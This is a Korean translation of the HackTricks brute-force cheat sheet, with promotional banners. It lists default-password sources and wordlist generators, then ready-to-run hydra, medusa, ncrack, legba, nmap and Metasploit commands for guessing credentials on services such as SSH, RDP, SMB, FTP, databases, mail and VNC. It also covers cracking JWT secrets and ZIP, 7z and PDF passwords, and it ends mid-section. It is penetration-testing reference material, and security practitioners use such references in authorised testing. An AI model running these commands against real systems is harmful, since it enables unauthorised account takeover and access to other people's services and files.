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# 브루트 포스 - 치트 시트
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< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
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\
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[**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force )를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
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오늘 바로 액세스하세요:
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{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=brute-force" %}
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< details >
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< summary > < strong > 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
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HackTricks를 지원하는 다른 방법:
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* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제** ](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 구매하세요
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* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
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* **💬 [**디스코드 그룹** ](https://discord.gg/hRep4RUj7f )에 가입하거나 [**텔레그램 그룹** ](https://t.me/peass )에 가입하거나 **트위터** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**를 팔로우**하세요.
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* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
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< / details >
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## 기본 자격 증명
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사용 중인 기술의 기본 자격 증명을 찾거나 다음 링크를 시도하세요:
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* [**https://github.com/ihebski/DefaultCreds-cheat-sheet** ](https://github.com/ihebski/DefaultCreds-cheat-sheet )
* [**http://www.phenoelit.org/dpl/dpl.html** ](http://www.phenoelit.org/dpl/dpl.html )
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm** ](http://www.vulnerabilityassessment.co.uk/passwordsC.htm )
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/** ](https://192-168-1-1ip.mobi/default-router-passwords-list/ )
* [**https://datarecovery.com/rd/default-passwords/** ](https://datarecovery.com/rd/default-passwords/ )
* [**https://bizuns.com/default-passwords-list** ](https://bizuns.com/default-passwords-list )
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv** ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv )
* [**https://github.com/Dormidera/WordList-Compendium** ](https://github.com/Dormidera/WordList-Compendium )
* [**https://www.cirt.net/passwords** ](https://www.cirt.net/passwords )
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* [**http://www.passwordsdatabase.com/** ](http://www.passwordsdatabase.com )
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* [**https://many-passwords.github.io/** ](https://many-passwords.github.io )
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* [**https://theinfocentric.com/** ](https://theinfocentric.com/ )
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## **사용자 정의 사전 만들기**
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대상에 대한 정보를 최대한 찾아서 사용자 정의 사전을 생성하세요. 도움이 될 수 있는 도구:
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### Crunch
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```bash
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crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
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### Cewl
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```bash
cewl example.com -m 5 -w words.txt
```
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### [CUPP](https://github.com/Mebus/cupp)
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피해자에 대한 지식(이름, 날짜 등)을 기반으로 암호를 생성합니다.
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```
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python3 cupp.py -h
```
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### [Wister](https://github.com/cycurity/wister)
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특정 대상에 대해 사용할 수 있는 고유하고 이상적인 워드리스트를 생성하는 기회를 제공하는 단어 세트를 제공할 수 있는 단어 목록 생성 도구입니다.
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```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
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__ _______ _____ _______ ______ _____
\ \ / /_ _|/ ____ |__ __ | ____ | __ \
\ \ /\ / / | | | (___ | | | |__ | |__) |
\ \/ \/ / | | \___ \ | | | __ | | _ /
\ /\ / _| |_ ____ ) | | | | |____| | \ \
\/ \/ |_____|_____/ |_| |______|_| \_\
Version 1.0.3 Cycurity
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Generating wordlist...
[########################################] 100%
Generated 67885 lines.
Finished in 0.920s.
```
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### [pydictor](https://github.com/LandGrey/pydictor)
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### 단어 목록
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* [**https://github.com/danielmiessler/SecLists** ](https://github.com/danielmiessler/SecLists )
* [**https://github.com/Dormidera/WordList-Compendium** ](https://github.com/Dormidera/WordList-Compendium )
* [**https://github.com/kaonashi-passwords/Kaonashi** ](https://github.com/kaonashi-passwords/Kaonashi )
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* [**https://github.com/google/fuzzing/tree/master/dictionaries** ](https://github.com/google/fuzzing/tree/master/dictionaries )
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* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm** ](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm )
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* [**https://weakpass.com/wordlist/** ](https://weakpass.com/wordlist/ )
* [**https://wordlists.assetnote.io/** ](https://wordlists.assetnote.io/ )
* [**https://github.com/fssecur3/fuzzlists** ](https://github.com/fssecur3/fuzzlists )
* [**https://hashkiller.io/listmanager** ](https://hashkiller.io/listmanager )
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists** ](https://github.com/Karanxa/Bug-Bounty-Wordlists )
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< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
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\
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[**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force )를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
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오늘 바로 액세스하세요:
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{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=brute-force" %}
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## 서비스
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서비스 이름별 알파벳순으로 정렬됨.
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### AFP
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```bash
nmap -p 548 --script afp-brute < IP >
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE < PATH_PASSWDS >
msf> set USER_FILE < PATH_USERS >
msf> run
```
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### AJP
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AJP(Apache JServ Protocol)는 웹 서버와 서블릿 컨테이너 간의 통신을 위한 프로토콜입니다. AJP 포트(기본값은 8009)를 통해 통신하며, 보안 취약점으로 악용될 수 있습니다.
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```bash
nmap --script ajp-brute -p 8009 < IP >
```
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## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
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## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
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```bash
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
```
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### 카산드라
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```bash
nmap --script cassandra-brute -p 9160 < IP >
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# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
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```
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### CouchDB
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CouchDB는 NoSQL 데이터베이스로, 일반적으로 사용자 이름과 비밀번호를 요구하는 HTTP Basic 인증을 사용합니다. 브루트 포스 공격을 수행하여 인증 자격 증명을 얻을 수 있습니다.
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```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
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hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
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### 도커 레지스트리
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```
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hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
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```
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### Elasticsearch
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```
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hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
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```
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### FTP
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FTP(File Transfer Protocol)은 인터넷을 통해 파일을 전송하기 위한 표준 네트워크 프로토콜입니다. FTP 서버에 무차별 대입 공격을 시도하여 사용자 자격 증명을 얻을 수 있습니다.
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```bash
hydra -l root -P passwords.txt [-t 32] < IP > ftp
ncrack -p 21 --user root -P passwords.txt < IP > [-T 5]
medusa -u root -P 500-worst-passwords.txt -h < IP > -M ftp
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legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
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```
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### HTTP 일반 무차별 대입
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#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
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### HTTP 기본 인증
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```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
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# Use https-get mode for https
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medusa -h < IP > -u < username > -P < passwords.txt > -M http -m DIR:/path/to/auth -T 10
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legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
```
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### HTTP - NTLM
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```bash
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
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```
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### HTTP - 포스트 폼
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```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^& password=^PASS^& enter=Sign+in:Login name or password is incorrect" -V
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# Use https-post-form mode for https
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```
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### **HTTP - CMS --** (W)ordpress, (J)oomla 또는 (D)rupal 또는 (M)oodle
http**s**의 경우 "http-post-form"에서 "**https-post-form"**로 변경해야 합니다
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```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
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# Check also https://github.com/evilsocket/legba/wiki/HTTP
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```
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### IMAP
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IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. IMAP permits a user to access their email from different devices, as the messages are stored on the server. This protocol is commonly used for receiving emails.
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```bash
hydra -l USERNAME -P /path/to/passwords.txt -f < IP > imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f < IP > imap -V
nmap -sV --script imap-brute -p < PORT > < IP >
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legba imap --username user --password data/passwords.txt --target localhost:993
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```
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### IRC
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IRC는 Internet Relay Chat의 약자로, 실시간으로 사용자들이 채팅할 수 있는 프로토콜입니다. 일반적으로는 6667번 포트를 사용하며, 채팅방에서 다양한 주제로 대화할 수 있습니다.
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```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p < PORT > < IP >
```
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### ISCSI
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### ISCSI
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```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 < IP >
```
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### JWT
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```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt < JWT token >
#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```
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### LDAP
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LDAP은 Lightweight Directory Access Protocol의 약자로, 네트워크 프로토콜 중 하나이다. LDAP 서버에 대한 무차별 대입 공격은 일반적인 인증 시나리오에서 사용자 자격 증명을 찾는 데 사용된다.
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```bash
nmap --script ldap-brute -p 389 < IP >
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legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords .txt --ldap-domain example.org --single-match
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```
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### MQTT
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MQTT(Message Queuing Telemetry Transport)는 경량 프로토콜로, 브로커와 클라이언트 간의 메시지 전달을 위한 프로토콜입니다. MQTT는 TCP/IP 프로토콜 위에서 동작하며, 주로 IoT(Internet of Things) 장치 간 통신에 사용됩니다.
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```
ncrack mqtt://127.0.0.1 --user test – P /root/Desktop/pass.txt -v
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legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
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```
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### 몽고DB
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```bash
nmap -sV --script mongodb-brute -n -p 27017 < IP >
use auxiliary/scanner/mongodb/mongodb_login
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legba mongodb --target localhost:27017 --username root --password data/passwords.txt
```
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### MSSQL
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MSSQL은 Microsoft SQL Server의 약자로, Windows 환경에서 가장 널리 사용되는 관계형 데이터베이스 관리 시스템(RDBMS)입니다.
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```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
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```
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### MySQL
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### MySQL
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```bash
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# hydra
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hydra -L usernames.txt -P pass.txt < IP > mysql
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# msfconsole
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msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
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# medusa
medusa -h < IP / Host > -u < username > -P < password_list > < -f | to stop medusa on first success attempt > -t < threads > -M mysql
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#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
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```
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### OracleSQL
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```bash
patator oracle_login sid=< SID > host=< IP > user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS < IP >
msf> set RPORT 1521
msf> set SID < SID >
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS < IP >
msf> set RPORTS 1521
msf> set SID < SID >
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#for some reason nmap fails sometimes when executing this script
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nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=< SID > < IP >
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legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
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```
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**oracle_login**을 **patator**와 함께 사용하려면 다음을 **설치**해야 합니다:
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```bash
pip3 install cx_Oracle --upgrade
```
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[오프라인 OracleSQL 해시 무차별 공격 ](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force ) (**버전 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** 그리고 **11.2.0.3** ):
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```bash
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nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
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```
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### POP
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POP는 "Post Office Protocol"의 약자로, 이메일 클라이언트가 이메일 서버에서 이메일을 가져오는 데 사용되는 프로토콜입니다. POP는 일반적으로 TCP 포트 110을 사용하며, 이메일을 가져올 때 사용자의 자격 증명을 인증하기 위해 사용자 이름과 암호를 요구합니다. POP는 보안 기능이 부족하므로, 데이터를 전송하는 동안 암호화를 사용하는 것이 좋습니다.
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```bash
hydra -l USERNAME -P /path/to/passwords.txt -f < IP > pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f < IP > pop3 -V
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# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110
# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
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```
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### PostgreSQL
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```bash
hydra -L /root/Desktop/user.txt – P /root/Desktop/pass.txt < IP > postgres
medusa -h < IP > – U /root/Desktop/user.txt – P /root/Desktop/pass.txt – M postgres
ncrack – v – U /root/Desktop/user.txt – P /root/Desktop/pass.txt < IP > :5432
patator pgsql_login host=< IP > user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 < IP >
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legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
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```
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### PPTP
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[https://http.kali.org/pool/main/t/thc-pptp-bruter/ ](https://http.kali.org/pool/main/t/thc-pptp-bruter/ )에서 설치할 `.deb` 패키지를 다운로드할 수 있습니다.
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```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter – u < Username > < IP >
```
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### RDP
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```bash
ncrack -vv --user < User > -P pwds.txt rdp://< IP >
hydra -V -f -L < userslist > -P < passwlist > rdp://< IP >
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legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain < RDP_DOMAIN > ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
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```
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### Redis
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```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 < IP >
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hydra – P /path/pass.txt redis://< IP > :< PORT > # 6379 is the default
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legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
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```
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### Rexec
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Rexec는 원격 실행 서비스에 대한 브루트 포스 공격을 수행하는 데 사용됩니다. 이 서비스는 일반적으로 TCP 포트 512에서 실행되며, 사용자는 명령을 원격 시스템에서 실행할 수 있습니다. Rexec 브루트 포스는 사용자 이름과 비밀번호를 추측하여 시스템에 액세스하려고 시도합니다.
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```bash
hydra -l < username > -P < password_file > rexec://< Victim-IP > -v -V
```
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### Rlogin
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Rlogin은 원격 로그인 프로토콜로, 브루트 포스 공격에 취약할 수 있습니다.
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```bash
hydra -l < username > -P < password_file > rlogin://< Victim-IP > -v -V
```
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### Rsh
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Rsh (Remote Shell) is a simple remote shell client included in most Unix-like operating systems. It can be used to execute commands on a remote system. Rsh is often targeted during brute-force attacks due to its lack of encryption and authentication mechanisms.
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```bash
hydra -L < Username_list > rsh://< Victim_IP > -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind ](http://pentestmonkey.net/tools/misc/rsh-grind )
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### Rsync
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```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 < IP >
```
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### RTSP
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### RTSP
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```bash
hydra -l root -P passwords.txt < IP > rtsp
```
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### SFTP
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```bash
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
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### SNMP
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SNMP(Simple Network Management Protocol)은 네트워크 장비 및 서버에서 정보를 수집하기 위해 사용되는 프로토콜입니다. SNMP 커뮤니티스트링을 브루트 포스하여 SNMP 장비에 액세스할 수 있습니다.
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```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute < target > [--script-args snmp-brute.communitiesdb=< wordlist > ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt < IP >
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
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### SMB
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### SMB
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```bash
nmap --script smb-brute -p 445 < IP >
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
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legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup < SMB_WORKGROUP > ] [--smb-share < SMB_SHARE > ]
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```
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### SMTP
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SMTP(Simple Mail Transfer Protocol)은 전자 메일을 전송하기 위한 표준 프로토콜이다. 호스트 간 메일 전송을 위해 사용되며, 주로 포트 25를 통해 통신한다. Brute force 공격은 SMTP 서버에 대해 일반적으로 사용되는 공격 기술 중 하나이다.
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```bash
hydra -l < username > -P /path/to/passwords.txt < IP > smtp -V
hydra -l < username > -P /path/to/passwords.txt -s 587 < IP > -S -v -V #Port 587 for SMTP with SSL
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legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism < mech > ]
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```
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### SOCKS
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SOCKS는 네트워크 프로토콜로, 일반적으로 프록시 서버를 통해 트래픽을 라우팅하는 데 사용됩니다. SOCKS 프록시를 통해 브루트 포스 공격을 수행할 때, 공격자는 대상 시스템에 대한 인증을 시도하기 위해 다양한 자격 증명을 시도할 수 있습니다.
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```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 < IP >
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legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
```
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### SQL Server
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```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql < IP > -d < Domain Name > -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt – P /root/Desktop/pass.txt < IP > mssql
medusa -h < IP > – U /root/Desktop/user.txt – P /root/Desktop/pass.txt – M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts < host > #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
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```
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### SSH
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SSH는 Secure Shell의 약자로, 네트워크 프로토콜 중 하나이며, 안전한 방식으로 원격 시스템에 접속하기 위해 사용됩니다. SSH 브루트 포스는 사전에 정의된 암호 목록을 사용하여 SSH 서버에 대한 인증을 시도하는 공격 기술입니다. 이를 통해 공격자는 암호를 추측하여 시스템에 불법적으로 액세스하려고 시도할 수 있습니다.
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```bash
hydra -l root -P passwords.txt [-t 32] < IP > ssh
ncrack -p 22 --user root -P passwords.txt < IP > [-T 5]
medusa -u root -P 500-worst-passwords.txt -h < IP > -M ssh
patator ssh_login host=< ip > port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
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legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
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```
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#### 약한 SSH 키 / Debian 예측 가능 PRNG
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일부 시스템은 암호화 자료를 생성하는 데 사용된 난수 시드에 알려진 결함이 있습니다. 이는 [snowdroppe/ssh-keybrute ](https://github.com/snowdroppe/ssh-keybrute )와 같은 도구를 사용하여 무차별 대입할 수 있는 키 공간이 크게 축소될 수 있습니다. 약한 키의 미리 생성된 세트도 [g0tmi1k/debian-ssh ](https://github.com/g0tmi1k/debian-ssh )와 같이 사용할 수 있습니다.
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### STOMP (ActiveMQ, RabbitMQ, HornetQ 및 OpenMQ)
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STOMP 텍스트 프로토콜은 RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기있는 메시지 큐 서비스와의 원활한 통신과 상호 작용을 **허용하는** 널리 사용되는 메시징 프로토콜입니다. 이는 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화된 효율적인 접근 방식을 제공합니다.
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```bash
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legba stomp --target localhost:61613 --username admin --password data/passwords.txt
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```
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### 텔넷
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```bash
hydra -l root -P passwords.txt [-t 32] < IP > telnet
ncrack -p 23 --user root -P passwords.txt < IP > [-T 5]
medusa -u root -P 500-worst-passwords.txt -h < IP > -M telnet
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legba telnet \
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--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
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```
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### VNC
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VNC은 Virtual Network Computing의 약자로, 원격 시스템에 액세스하기 위한 그래픽 데스크톱 공유 시스템이다. VNC 브루트 포스는 VNC 서버에 대한 사용자 자격 증명을 얻기 위해 가능한 모든 비밀번호를 시도하는 공격 기술이다.
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```bash
hydra -L /root/Desktop/user.txt – P /root/Desktop/pass.txt -s < PORT > < IP > vnc
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medusa -h < IP > – u root -P /root/Desktop/pass.txt – M vnc
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ncrack -V --user root -P /root/Desktop/pass.txt < IP > :>POR>T
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patator vnc_login host=< IP > password=FILE0 0=/root/Desktop/pass.txt – t 1 – x retry:fgep!='Authentication failure' --max-retries 0 – x quit:code=0
use auxiliary/scanner/vnc/vnc_login
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nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt < IP >
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legba vnc --target localhost:5901 --password data/passwords.txt
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#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS < ip >
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
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```
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### Winrm
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```bash
crackmapexec winrm < IP > -d < Domain Name > -u usernames.txt -p passwords.txt
```
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< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
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\
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[**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force )를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
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오늘 바로 액세스하세요:
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{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=brute-force" %}
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## 로컬
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### 온라인 해싱 데이터베이스
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* [~~http://hashtoolkit.com/reverse-hash?~~ ](http://hashtoolkit.com/reverse-hash? ) (MD5 및 SHA1)
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* [https://shuck.sh/get-shucking.php ](https://shuck.sh/get-shucking.php ) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ESS/SSP와 함께/없이 어떤 도전 값이든)
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* [https://www.onlinehashcrack.com/ ](https://www.onlinehashcrack.com ) (해시, WPA2 캡처 및 아카이브 MSOffice, ZIP, PDF...)
* [https://crackstation.net/ ](https://crackstation.net ) (해시)
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* [https://md5decrypt.net/ ](https://md5decrypt.net ) (MD5)
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* [https://gpuhash.me/ ](https://gpuhash.me ) (해시 및 파일 해시)
* [https://hashes.org/search.php ](https://hashes.org/search.php ) (해시)
* [https://www.cmd5.org/ ](https://www.cmd5.org ) (해시)
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* [https://hashkiller.co.uk/Cracker ](https://hashkiller.co.uk/Cracker ) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* [https://www.md5online.org/md5-decrypt.html ](https://www.md5online.org/md5-decrypt.html ) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/ ](http://reverse-hash-lookup.online-domain-tools.com )
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해시를 무차별 대입하기 전에 이 내용을 확인하세요.
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### ZIP
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```bash
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#sudo apt-get install fcrackzip
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fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
```
```bash
zip2john file.zip > zip.john
john zip.john
```
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```bash
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
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#### 알려진 평문 zip 공격
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암호화된 zip 파일 내부에 포함된 파일의 **평문** (또는 일부 평문)을 알아야 합니다. 암호화된 zip 파일 내부에 포함된 파일의 **파일 이름 및 파일 크기를 확인**하려면 다음을 실행할 수 있습니다: ** `7z l encrypted.zip` **\
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릴리스 페이지에서 [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0 )를 다운로드하세요.
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```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
./bkcrack -C < encrypted.zip > -c < plaintext.file > -P < plaintext.zip > -p < plaintext.file >
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# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
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# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
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./bkcrack -C < encrypted.zip > -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
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unzip unlocked.zip #User new_pwd as password
```
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### 7z
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### 7z
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```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
```bash
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
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### PDF
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PDF 파일 형식은 전자 문서를 표시하기 위한 표준 형식입니다. PDF 파일은 다양한 용도로 사용되며 텍스트, 이미지, 폼 등을 포함할 수 있습니다. PDF 파일은 보안 기능을 제공하여 내용을 보호할 수 있습니다.
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```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
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#pdf2john didn't work well, john didn't know which hash type was
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# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=< PASSWORD > --decrypt encrypted.pdf plaintext.pdf
```
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### PDF 소유자 암호
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PDF 소유자 암호를 해독하려면 다음을 확인하십시오: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/ ](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/ )
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### JWT
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```bash
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
